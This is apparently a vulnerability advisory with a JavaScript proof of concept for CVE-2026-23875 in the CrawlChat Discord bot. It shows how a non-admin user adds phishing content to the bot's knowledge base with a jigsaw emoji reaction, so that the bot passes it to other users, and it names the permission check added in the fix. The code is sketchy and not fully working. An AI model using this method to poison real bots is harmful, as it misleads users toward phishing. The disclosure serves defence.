CVE-2026-23875 CrawlChat Discord机器人权限绕过漏洞

// CVE-2026-23875 PoC - CrawlChat Discord Permission Bypass // This PoC demonstrates how a non-admin Discord user can inject content into CrawlChat knowledge base // Step 1: Join a Discord server where CrawlChat bot is installed const Discord = require('discord.js'); const client = new Discord.Client(); // Step 2: As a regular user (without MANAGE_SERVER or MANAGE_MESSAGES permissions) // send a message containing malicious content const maliciousContent = ` This is a phishing message. For more information visit: http://malicious-site.com Or contact: [email protected] `; // Step 3: Add the 'jigsaw' emoji reaction to your own message // The bot will interpret this as a request to add content to knowledge base client.on('messageReactionAdd', async (reaction, user) => { if (reaction.emoji.name === '🧩') { // Without proper permission check, the bot will add the message to knowledge base console.log('Content added to knowledge base without permission check'); } }); // Alternative: Send DM to bot with content (if bot supports it) async function injectMaliciousContent() { const bot = client.users.find(u => u.username === 'CrawlChat'); await bot.send(maliciousContent); } // Step 4: When other users query the bot, they receive the injected malicious content // This can redirect users to phishing sites or expose sensitive information // Note: This vulnerability was patched in version 0.0.8 // Fixed code should check: message.member.hasPermission('MANAGE_MESSAGES') || // message.member.hasPermission('MANAGE_SERVER')